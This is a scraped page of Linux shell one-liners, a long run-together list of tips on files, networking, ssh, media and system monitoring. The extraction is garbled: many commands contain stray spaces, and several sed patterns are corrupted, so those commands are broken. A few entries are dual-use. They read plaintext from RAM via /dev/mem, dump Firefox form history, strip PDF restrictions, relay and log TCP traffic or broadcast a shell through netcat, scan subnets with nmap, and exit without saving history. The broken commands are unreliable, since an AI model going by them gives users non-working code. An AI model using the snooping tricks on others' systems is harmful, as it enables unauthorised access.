|| echo $p; done) Privacy Policy | Terms and Conditions | Contact My other projects: Blockchain Yoga Climbing

LINUX COMMAND LIBRARY BASICS TIPS COMMANDS One-liners Run the last command as root $ sudo !! Serve current directory tree at http://$HOSTNAME:8000/ $ python -m SimpleHTTPServer Runs previous command but replacing $ ^foo^bar Rapidly invoke an editor to write a long, complex, or tricky command $ ctrl-x e Place the argument of the most recent command on the shell $ 'ALT+.' or ' .' currently mounted filesystems in nice layout $ mount | column -t Salvage a borked terminal $ reset Get your external IP address $ curl ifconfig.me Execute a command at a given time $ echo "ls -l" | at midnightQuick access to the ascii table. $ man ascii output your microphone to a remote computer's speaker $ dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp type partial command, kill this command, check something you forgot, yank the command, resume typing. $ [...] Query Wikipedia via console over DNS $ dig +short txt .wp.dg.cx Mount folder/filesystem through SSH $ sshfs name@server:/path/to/folder /path/to/mount/point Mount a temporary ram partition $ mount -t tmpfs tmpfs /mnt -o size=1024m Download an entire website $ wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com Clear the terminal screen $ ctrl-l Compare a remote file with a local file $ ssh user@host cat /path/to/remotefile | diff /path/to/localfile - SSH connection through host in the middle $ ssh -t reachable_host ssh unreachable_host Update twitter via curl $ curl -u user:pass - d status="Tweeting from the shell" http://twitter.com/statuses/update.xmlA very simple and useful stopwatch $ time read (ctrl-d to stop) Put a console clock in top right corner $ while sleep 1;do tput sc; tput cup 0 $(($( tput cols)-29));date; tput rc;done & Make 'less' behave like 'tail -f'. $ less +F somelogfile Close shell keeping all subprocess running $ disown -a && exit Watch Star Wars via telnet $ telnet towel.blinkenlights.nl 32 bits or 64 bits? $ getconf LONG_BIT List of commands you use most often $ history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head Simulate typing $ echo "You can simulate on-screen typing just like in the movies" | pv -qL 10 Set audible alarm when an IP address comes online $ ping -i 60 -a IP_address Reboot machine when everything is hanging $ + + - - - - - quickly rename a file $ mv filename.{old,new}Display the top ten running processes - sorted by memory usage $ ps aux | sort -nk +4 | tail Delete all files in a folder that don't match a certain file extension $ rm !(*.foo|*.bar|*.baz) Push your present working directory to a stack that you can pop later $ pushd /tmp Create a script of the last executed command $ echo "!!" > foo.sh Watch Network Service Activity in Real-time $ lsof -i Easy and fast access to often executed commands that are very long and complex. $ some_very_long_and_complex_command # label escape any command aliases $ \[command] Show apps that use internet connection at the moment. (Multi- Language) $ lsof -P -i -n diff two unsorted files without creating temporary files $ diff <(sort file1) <(sort file2) Reuse all parameter of the previous command line $ !* Backticks are evil $ echo "The date is: $( date +%D)"Sharing file through http 80 port $ nc -v -l 80 < file.ext Show File System Hierarchy $ man hier Display a block of text with AWK $ awk '/start_pattern/,/stop_pattern/' file.txt Set CDPATH to ease navigation $ CDPATH=:..:~:~/projects save command output to image $ ifconfig | convert label:@- ip.png Add Password Protection to a file your editing in vim. $ vim -x Remove duplicate entries in a file without sorting. $ awk '!x[$0]++' Copy your SSH public key on a remote machine for passwordless login - the easy way $ ssh-copy-id username@hostname Find Duplicate Files (based on size first, then MD5 hash) $ find -not -empty -type f -printf "%s " | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate Kills a process that is locking a file. $ fuser -k filename Insert the last command without the last argument (bash) $ !:-python smtp server $ python -m smtpd -n -c DebuggingServer localhost:1025 Display which distro is installed $ cat /etc/issue Find the process you are looking for minus the grepped one $ ps aux | grep [p]rocess-name Extract tarball from internet without local saving $ wget -qO - "http://www. tarball.com/ tarball.gz" | tar zxvf - Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id $ cat ~/. ssh/id_rsa.pub | ssh user@machine "mkdir ~/. ssh; cat >> ~/. ssh/authorized_keys" Matrix Style $ tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]" replace spaces in filenames with underscores $ rename 'y/ /_/' * Rip audio from a video file. $ mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile Google Translate $ translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate? v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"$[^"]*$".*}/\1 /'; } Inserts the results of an autocompletion in the command line $ ESC *Rapidly invoke an editor to write a long, complex, or tricky command $ fc A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram $ sudo dd if=/dev/mem | cat | strings Graphical tree of sub-directories $ ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' intercept stdout/stderr of another process $ strace -ff -e trace=write -e write=1,2 -p SOME_PID Copy a file using pv and watch its progress $ pv sourcefile > destfile Define a quick calculator function $ ? () { echo "$*" | bc -l; } Create a CD/DVD ISO image from disk. $ readom dev=/dev/scd0 f=/path/to/image.iso mkdir & cd into it as single command $ mkdir /home/foo/doc/bar && cd $_ Create a pdf version of a manpage $ man -t manpage | ps2pdf - filename.pdf Stream YouTube URL directly to mplayer. $ i="8uyxVmdaJ-w";mplayer -fs $(curl - s "http://www.youtube.com/get_video_info?&video_id=$i" | echo - e $(sed 's/%/\\x/g;s/.*$v[0-9]\.lscache.*$/http:\/\/\1/g') | grep -oP '^[^|,]*') Make directory including intermediate directories $ mkdir -p a/long/directory/pathEasily search running processes (alias). $ alias 'ps?'='ps ax | grep ' Multiple variable assignments from command output in BASH $ read day month year <<< $(date +'%d %m %y') Remove all but one specific file $ rm -f !(survivior.txt) git remove files which have been deleted $ git add -u Edit a file on a remote host using vim $ vim scp://username@host//path/to/somefile Job Control $ ^Z $bg $disown Generate a random password 30 characters long $ s trings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d ' '; echo Show apps that use internet connection at the moment. (Multi- Language) $ ss -p Graph # of connections for each hosts. $ netstat -an | grep ESTABLISHED | awk '{ print $5}' | awk -F: '{ print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) { printf("*")}; print "" }' Record a screencast and convert it to an mpeg $ ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpgMonitor progress of a command $ pv access.log | gzip > access.log.gz Search for a string inside all files in the current directory $ grep -RnisI * Monitor the queries being run by MySQL $ watch -n 1 mysqladmin --user= --password= processlist Get the 10 biggest files/folders for the current direcotry $ du -s * | sort -n | tail Show numerical values for each of the 256 colors in bash $ for code in {0..255}; do echo -e "\e[38;05;${ code}m $ code: Test"; done Recursively remove all empty directories $ find . -type d -empty -delete Display a cool clock on your terminal $ watch -t -n1 "date +%T|figlet" Convert seconds to human-readable format $ date -d@1234567890 Nice weather forecast on your shell $ curl wttr.in/seville Check your unread Gmail from the command line $ curl -u username:password -- silent "https://mail.google.com/mail/feed/atom" | tr -d ' ' | awk -F '' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/$.*$ <\/title.*name>$.*$<\/name>.*/\2 - \1/p"Search commandlinefu.com from the command line using the API $ cmdfu() { curl "http://www.commandlinefu.com/commands/matching/$@/$(echo - n $@ | openssl base64)/plaintext"; } Processor / memory bandwidthd? in GB/s $ dd if=/dev/zero of=/dev/null bs=1M count=32768 pretend to be busy in office to enjoy a cup of coffee $ cat /dev/urandom | hexdump -C | grep "ca fe" Makes the permissions of file2 the same as file1 $ chmod --reference file1 file2 Remove security limitations from PDF documents using ghostscript $ gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite - sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf Send pop-up notifications on Gnome $ notify-send ["<title>"] "<body>" (Debian/Ubuntu) Discover what package a file belongs to $ dpkg -S /usr/bin/ls Mount a .iso file in UNIX/Linux $ mount /path/to/file.iso /mnt/cdrom -oloop Remove a line in a text file. Useful to fix $ ssh-keygen -R <the_offending_host> To print a specific line from a file $ sed -n 5p <file> Open Finder from the current Terminal location $ open .Create a persistent connection to a machine $ ssh -MNf <user>@<host> Run a command only when load average is below a certain threshold $ echo "rm -rf /unwanted-but-large/folder" | batch Create a quick back-up copy of a file $ cp file.txt{,.bak} Start COMMAND, and kill it if still running after 5 seconds $ timeout 5s COMMAND Attach screen over ssh $ ssh -t remote_host screen -r Show a 4-way scrollable process tree with full details. $ ps awwfux | less -S List all bash shortcuts $ bind -P RTFM function $ rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search? q=$@"; } Eavesdrop on your system $ diff <( lsof -p 1234) <(sleep 10; lsof -p 1234) Remove all files previously extracted from a tar(.gz) file. $ tar -tf <file. tar.gz> | xargs rm -r Broadcast your shell thru ports 5000, 5001, 5002 ... $ script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)directly ssh to host B that is only accessible through host A $ ssh -t hostA ssh hostB which program is this port belongs to ? $ lsof -i tcp:80 What is my public IP-address? $ curl ifconfig.me Retry the previous command until it exits successfully $ until !!; do :; done Synchronize date and time with a server over ssh $ date --set="$(ssh user@server date)" Edit a google doc with vim $ google docs edit --title "To-Do List" -- editor vim Run a file system check on your next boot. $ sudo touch /forcefsck List only the directories $ ls -d */ Share a terminal screen with others $ % screen -r someuser/ Google text-to-speech in mp3 format $ wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts? ie=UTF-8&tl=en&q=hello+world Download all images from a site $ wget -r -l1 --no-parent -nH -nd -P/tmp - A".gif,.jpg" http://example.com/imagesDownload Youtube video with wget! $ wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed - n "/fmt_url_map/{s/[\'\"\|]/ /g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a - e '$q;N;5,$D;ba' | tr -d ' ' | sed -e 's/$.*$,$.$\{1,3\}/\1/' | wget -i - -O surprise.flv Python version 3: Serve current directory tree at http://$HOSTNAME:8000/ $ python -m http.server Get your outgoing IP address $ dig +short myip.opendns.com @resolver1.opendns.com Binary Clock $ watch -n 1 'echo "obase=2;`date +%s`" | bc' Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes. $ du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)} {sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $ 1>=2**10? ($1/2**10, "K"): ($1, "")}e' Duplicate installed packages from one machine to the other (RPM- based systems) $ ssh root@remote.host "rpm -qa" | xargs yum -y install Draw kernel module dependancy graph. $ lsmod | perl -e ' print "digraph \" lsmod\" {";<>;while(<>) {@_=split/\s+/; print "\"$_[0]\" -> \"$_\" " for split/,/,$_[3]} print "}"' | dot -Tpng | display - Compare two directory trees. $ diff <(cd dir1 && find | sort) <(cd dir2 && find | sort) Bring the word under the cursor on the :ex line in Vim $ :<C-R><C-W>Remind yourself to leave in 15 minutes $ leave +15 make directory tree $ mkdir -p work/{d1,d2}/{src,bin,bak} Convert Youtube videos to MP3 $ youtube-dl -t --extract-audio --audio-format mp3 YOUTUBE_URL_HERE Find out how much data is waiting to be written to disk $ grep ^Dirty /proc/meminfo Use tee to process a pipe with two or more processes $ echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_') Show apps that use internet connection at the moment. $ lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2 Backup all MySQL Databases to individual files $ for I in $(mysql -e 'show databases' -s --skip-column- names); do mysqldump $I | gzip > "$I.sql.gz"; done Port Knocking! $ knock <host> 3000 4000 5000 && ssh - p <port> user@host && knock <host> 5000 4000 3000 Add timestamp to history $ export HISTTIMEFORMAT="%F %T " Recursively change permissions on files, leave directories alone. $ find ./ -type f -exec chmod 644 {} \; Find files that have been modified on your system in the past 60 minutes $ sudo find / -mmin 60 -type fQuick access to ASCII code of a key $ showkey -a using `!#$' to referance backward-word $ cp /work/host/phone/ui/main. cpp !#$:s/host/target Search recursively to find a word or phrase in certain file types, such as C code $ find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \; Intercept, monitor and manipulate a TCP connection. $ mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo Block known dirty hosts from reaching your machine $ wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables - A INPUT -s "$1" -j DROP"}' check site ssl certificate dates $ echo | openssl s_client -connect www.google.com:443 2>/dev/null | openssl x509 -dates -noout find files in a date range $ find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01" Control ssh connection $ [enter]~? run complex remote shell cmds over ssh, without escaping quotes $ ssh host -l user $(<cmd.txt) Create a directory and change into it at the same time $ md () { mkdir -p "$@" && cd "$@"; }Colorized grep in less $ grep --color=always | less -R Exclude multiple columns using AWK $ awk '{$1=$3=""}1' file ls not pattern $ ls !(*.gz) output your microphone to a remote computer's speaker $ arecord -f dat | ssh -C user@host aplay -f dat analyze traffic remotely over ssh w/ wireshark $ ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i - Given a file path, unplug the USB device on which the file is located (the file must be on an USB device !) $ echo $( sudo lshw -businfo | grep -B 1 -m 1 $(df "/path/to/file" | tail -1 | awk '{print $1}' | cut -c 6-8) | head -n 1 | awk '{print $1}' | cut -c 5- | tr ":" "- ") | sudo tee /sys/bus/usb/drivers/usb/unbind Remove a line in a text file. Useful to fix "ssh host key change" warnings $ sed -i 8d ~/.ssh/known_hosts Save a file you edited in vim without the needed permissions (no echo) $ :w !sudo tee > /dev/null % Remove blank lines from a file using grep and save output to new file $ grep . filename > newfilename delete a line from your shell history $ history -dGet the IP of the host your coming from when logged in remotely $ echo ${SSH_CLIENT%% *} Random Number Between 1 And X $ echo $[RANDOM%X+1] Lists all listening ports together with the PID of the associated process $ lsof -Pan -i tcp -i udp easily find megabyte eating files or directories $ alias dush="du -sm *|sort -n|tail" Exclude .svn, .git and other VCS junk for a pristine tarball $ tar --exclude-vcs -cf src. tar src/ exit without saving history $ kill -9 $$ How to establish a remote Gnu screen session that you can re-connect to $ ssh -t user@some.domain.com /usr/bin/screen -xRR Copy a MySQL Database to a new Server via SSH with one command $ mysqldump --add-drop-table --extended-insert --force --log-error=error.log - uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER - pPASS NEW_DB_NAME" Convert PDF to JPG $ for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 - interlace none -density 300 -quality 80 $ file `echo $ file | sed 's/\.pdf$/\.jpg/'`; done Find usb device $ diff <(lsusb) <(sleep 3s && lsusb)find all file larger than 500M $ find / -type f -size +500M notify yourself when a long-running command which has ALREADY STARTED is finished $ <ctrl+z> fg; notify_me Create colorized html file from Vim or Vimdiff $ :TOhtml live ssh network throughput test $ yes | pv | ssh $host "cat > /dev/null" Create a nifty overview of the hardware in your computer $ lshw -html > hardware.html Save your sessions in vim to resume later $ :mksession! <filename> Tell local Debian machine to install packages used by remote Debian machine $ ssh remotehost ' dpkg --get-selections' | dpkg --set- selections && dselect install Bind a key with a command $ bind -x '"\C-l":ls -l' Take screenshot through SSH $ DISPLAY=:0.0 import -window root /tmp/shot.png intersection between two files $ grep -Fx -f file1 file2 GREP a PDF file. $ pdftotext [file] - | grep 'YourPattern'Colorful man $ apt-get install most && update-alternatives --set pager /usr/bin/ most copy working directory and compress it on-the-fly while showing progress $ tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz prints line numbers $ nl convert unixtime to human-readable $ date -d @1234567890 A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram $ sudo strings /dev/mem Diff on two variables $ diff <(echo "$a") <(echo "$b") Prettify an XML file $ tidy -xml -i -m [file] Encrypted archive with openssl and tar $ tar --create --file - --posix --gzip -- <dir> | openssl enc -e -aes256 -out <file> Convert seconds into minutes and seconds $ bc <<< 'obase=60;299' Alias HEAD for automatic smart output $ alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))' Pipe stdout and stderr, etc., to separate commands $ some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)Manually Pause/Unpause Firefox Process with POSIX-Signals $ killall -STOP -m firefox Gets a random Futurama quote from /. $ curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2 Use lynx to run repeating website actions $ lynx -accept_all_cookies -cmd_script=/your/keystroke-file runs a bash script in debugging mode $ bash -x ./post_to_commandlinefu.sh Instead of writing a multiline if/then/else/fi construct you can do that by one line $ [[ test_condition ]] && if_true_do_this || otherwise_do_that Display a list of committers sorted by the frequency of commits $ svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr check the status of 'dd' in progress (OS X) $ CTRL + T A child process which survives the parent's death (for sure) $ ( command & ) prevent accidents while using wildcards $ rm *.txt <TAB> <TAB> Opens vi/vim at pattern in file $ vi +/pattern [file] April Fools' Day Prank $ PROMPT_COMMAND='if [ $RANDOM - le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RAND OM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'Press Any Key to Continue $ read -sn 1 -p "Press any key to continue..." Get your external IP address $ curl ip.appspot.com List installed deb packages by size $ dpkg-query -Wf '${Installed-Size}\t${Package} ' | sort -n backup all your commandlinefu.com favourites to a plaintext file $ clfavs(){ URL="http://www.commandlinefu.com"; wget -O - --save- cookies c --post- data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;fo r i in `seq 0 25 $3`;do wget -O - --load- cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;} send echo to socket network $ echo "foo" > /dev/tcp/192.168.1.2/25 Schedule a script or command in x num hours, silently run in the background even if logged out $ ( ( sleep 2h; your-command your-args ) & ) Go to parent directory of filename edited in last command $ cd !$:h Draw a Sierpinski triangle $ perl -e 'print "P1 256 256 ", map {$_&($_>>8)?1:0} (0..0xffff)' | display Run a long job and notify me when it's finished $ ./my-really-long-job.sh && notify-send "Job finished" Make anything more awesome $ command | figletList all files opened by a particular command $ lsof -c dhcpd Nicely display permissions in octal format with filename $ stat -c '%A %a %n' * recursive search and replace old with new string, inside files $ $ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/' shut of the screen. $ xset dpms force standby Create a single-use TCP (or UDP) proxy $ nc -l -p 2000 -c " nc example.org 3000" read manpage of a unix command as pdf in preview (Os X) $ man -t UNIX_COMMAND | open -f -a preview Switch 2 characters on a command line. $ ctrl-t List the number and type of active network connections $ netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c Use file(1) to view device information $ file -s /dev/sd* exclude a column with cut $ cut -f5 --complement Recover a deleted file $ grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txtInsert the last argument of the previous command $ <ESC> . View the newest xkcd comic. $ xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(? <=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(? =" alt)';} Create an audio test CD of sine waves from 1 to 99 Hz $ ( echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda - r44100 - c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; d one) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc Remove color codes (special characters) with sed $ sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g" throttle bandwidth with cstream $ tar -cj /backup | cstream -t 777k | ssh host ' tar -xj -C /backup' When feeling down, this command helps $ sl Brute force discover $ sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/ for invalid user/{a[$9]++}/Failed password for in valid user/{a["*" $11]++}END{ for (i in a) printf "%6s\t%s ", a[i], i|"sort -n"}' find geographical location of an ip address $ lynx -dump http://www.ip-adress.com/ip_tracer/? QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8} '|sed 's\ip address flag \\'|sed 's\My\\' Speed up launch of firefox $ find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;Create strong, but easy to remember password $ read -s pass; echo $pass | md5sum | base64 | cut -c -16 format txt as table not joining empty columns $ column -tns: /etc/passwd Find Duplicate Files (based on size first, then MD5 hash) $ fdupes -r . Shell recorder with replay $ script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL- D>; scriptreplay /tmp/mylog.time /tmp/mylog.out Bind a key with a command $ bind '"\C-l":"ls -l "' List files with quotes around each filename $ ls -Q Makes you look busy $ alias busy='my_file=$(find /usr/include -type f | sort -R | head - n 1); my_len=$(wc -l $my_file | awk " {print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file' Duplicate several drives concurrently $ dd if=/dev/sda | tee >( dd of=/dev/sdb) | dd of=/dev/sdc Listen to BBC Radio from the command line. $ bbcradio() { local s PS3="Select a station: "; select s in 1 1x 2 3 4 5 6 7 " A sian Network an" "Nation s & Local lcl";do break;done; s=($ s);mplayer - playli st "http://www.bbc.co.uk/radio/li sten/live/r"${ s[@]: -1}".a sx";} Monitor bandwidth by pid $ nethogs -p eth0Execute a command with a timeout $ timeout 10 sleep 11 use vim to get colorful diff output $ svn diff | view - find files containing text $ grep -lir "some text" * Quickly graph a list of numbers $ gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines") Perform a branching conditional $ true && { echo success;} || { echo failed; } Resume scp of a big file $ rsync --partial --progress -- rsh=ssh $file_source $user@$host:$destination_file Use tee + process substitution to split STDOUT to multiple commands $ some_command | tee >(command1) >(command2) >(command3) ... | command4 Analyse an Apache access log for the most common IP addresses $ tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail Annotate tail -f with timestamps $ tail -f file | while read; do echo "$(date +%T.%N) $REPLY"; done Fast, built-in pipe-based data sink $ <COMMAND> |: Generate an XKCD #936 style 4 word password $ shuf -n4 /usr/share/dict/words | tr -d ' 'Repoint an existing symlink to a new location $ ln -nsf <TARGET> <LINK> GRUB2: set Super Mario as startup tune $ echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee - a /etc/default/grub > /dev/null && sudo update-grub Diff remote webpages using wget $ diff <(wget -q -O - URL1) <(wget -q -O - URL2) Close a hanging ssh session $ ~. processes per user counter $ ps hax -o user | sort | uniq -c convert filenames in current directory to lowercase $ rename 'y/A-Z/a-z/' * Find files that were modified by a given command $ touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string' $ tr : ' ' <<<$PATH Cut out a piece of film from a file. Choose an arbitrary length and starting time. $ ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 - t 0:0:20 newfile List of commands you use most often $ history | awk '{print $2}' | sort | uniq -c | sort -rn | headEfficiently print a line deep in a huge log file $ sed '1000000!d;q' < massive-log-file.log prevent large files from being cached in memory (backups!) $ nocache <I/O-heavy-command> Check if system is 32bit or 64bit $ getconf LONG_BIT dmesg with colored human-readable dates $ dmesg -T|sed -e 's|$^.*'`date +%Y`']$$.*$|\x1b[0;34m\1\x1b[0m - \2|g' convert single digit to double digits $ for i in ?.ogg; do mv $i 0$i; done Limit the cpu usage of a process $ sudo cpulimit -p pid -l 50 Rapidly invoke an editor to write a long, complex, or tricky command $ <ESC> v or ctrl-x ctrl-e Single use vnc-over-ssh connection $ ssh -f -L 5900:localhost:5900 your. ssh.server "x11vnc -safer -localhost - nopw -once -display :0"; vinagre localhost:5900 List alive hosts in specific subnet $ nmap -sP 192.168.1.0/24 View all date formats, Quick Reference Help Alias $ alias dateh=' date --help|sed - n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"' "'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'your terminal sings $ echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down , pass it around, one less bottle of beer on the wall,, " | espeak -v english - s 140 Make sure a script is run in a terminal. $ [ -t 0 ] || exit 1 Matrix Style $ echo - e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($R ANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $ r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done Quickly (soft-)reboot skipping hardware checks $ /sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" -- initrd=/boot/$INITRD; sync; /sbin/kexec -e pipe output of a command to your clipboard $ some command|xsel --clipboard Recursively compare two directories and output their differences on a readable format $ diff -urp /originaldirectory /modifieddirectory Find broken symlinks and delete them $ find -L /path/to/check -type l -delete ls -hog --> a more compact ls -l $ ls -hog git remove files which have been deleted $ git rm $( git ls-files --deleted)Silently ensures that a FS is mounted on the given mount point (checks if it's OK, otherwise unmount, create dir and mount) $ ( mountpoint -q "/media/mpdr1" && df /media/mpdr1/* > /dev/null 2>&1) || (( sudo u mount "/media/mpdr1" > /dev/null 2>&1 || true) && ( sudo mkdir "/media/mpdr1" > /dev/null 2>&1 || true) && sudo mount "/dev/sdd1" "/media/mpdr1") sniff network traffic on a given interface and displays the IP addresses of the machines communicating with the current host (one IP per line) $ sudo tcpdump -i wlan0 -n ip | awk '{ print gensub(/(.*)\..*/,"\\1","g",$3), $4, gensub(/(.*)\..*/,"\\1","g",$5) }' | awk -F " > " '{ print $1" "$2}' Create a local compressed tarball from remote host directory $ ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz df without line wrap on long FS name $ df -P | column -t send a circular $ wall <<< "Broadcast This" The BOFH Excuse Server $ telnet towel.blinkenlights.nl 666 dd with progress bar and statistics $ sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG I finally found out how to use notify-send with at or cron $ echo " export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify- send test" | at now+1minute See udev at work $ udevadm monitorBackup all MySQL Databases to individual files $ for db in $(mysql -e 'show databases' -s --skip-column- names); do mysqldump $db | gzip > "/backups/ mysqldump-$(hostname)-$db-$(date +%Y-%m-%d- %H.%M.%S).gz"; done Ultimate current directory usage command $ ncdu bash: hotkey to put current commandline to text-editor $ bash-hotkey: <CTRL+x+e> Show current working directory of a process $ pwdx pid Have an ssh session open forever $ autossh -M50000 -t server.example.com 'screen -raAd mysession' Base conversions with bc $ echo "obase=2; 27" | bc -l Put readline into vi mode $ set -o vi Transfer SSH public key to another machine in one step $ ssh-keygen; ssh-copy-id user@host; ssh user@host Start a command on only one CPU core $ taskset -c 0 your_command convert uppercase files to lowercase files $ rename 'y/A-Z/a-z/' * return external ip $ curl ipinfo.ioSimple multi-user encrypted chat server for 5 users $ ncat -vlm 5 --ssl --chat 9876 Check if your ISP is intercepting DNS queries $ dig +short which.opendns.com txt @208.67.220.220 Display current time in requested time zones. $ zdump Japan America/New_York Remove a range of lines from a file $ sed -i <file> -re '<start>,<end>d' Stamp a text line on top of the pdf pages. $ echo "This text gets stamped on the top of the pdf pages." | enscript -B - f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf Print diagram of user/groups $ awk 'BEGIN{FS=":"; print "digraph{"} {split($4, a, ","); for (i in a) printf "\"%s\" [shape=box] \"%s\" -> \"%s\" ", $1, a[i], $1}END{ print "}"}' /etc/group|display Create a file server, listening in port 7000 $ while true; do nc -l 7000 | tar -xvf -; done bypass any aliases and functions for the command $ \foo Share your terminal session real-time $ mkfifo foo; script -f foo stderr in color $ mycommand 2> >(while read line; do echo - e "\e[01;31m$line\e[0m"; done)VI config to save files with +x when a shebang is found on line 1 $ au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | end if | end if Create a single PDF from multiple images with ImageMagick $ convert *.jpg output.pdf Delete all empty lines from a file with vim $ :g/^$/d perl one-liner to get the current week number $ date +%V DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree $ find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h; ($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v -- List recorded formular fields of Firefox $ cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk - F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null Using awk to sum/count a column of numbers. $ cat count.txt | awk '{ sum+=$1} END {print sum}' Get all the keyboard shortcuts in screen $ ^A ? Get list of servers with a specific port open $ nmap -sT -p 80 -oG - 192.168.1.* | grep open Start a new command in a new screen window $ alia s s=' screen -X screen'; s top; s vi; s man l s;Notepad in a browser (type this in the URL bar) $ data:text/html, <html contenteditable> Extract audio from Flash video (*.flv) as mp3 file $ ffmpeg -i video.flv -vn -ar 44100 -ac 2 -ab 192k -f mp3 audio.mp3 cat a bunch of small files with file indication $ grep . * Stop Flash from tracking everything you do. $ for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done send a circular $ echo "dear admin, please ban eribsskog" | wall List all open ports and their owning executables $ lsof -i -P | grep -i "listen" Purge configuration files of removed packages on debian based systems $ aptitude purge '~c' Monitor open connections for httpd including listen, count and sort it per IP $ watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1" Convert text to picture $ echo -e "Some Text Line1 Some Text Line 2" | convert -background none -density 196 -resample 72 - unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor 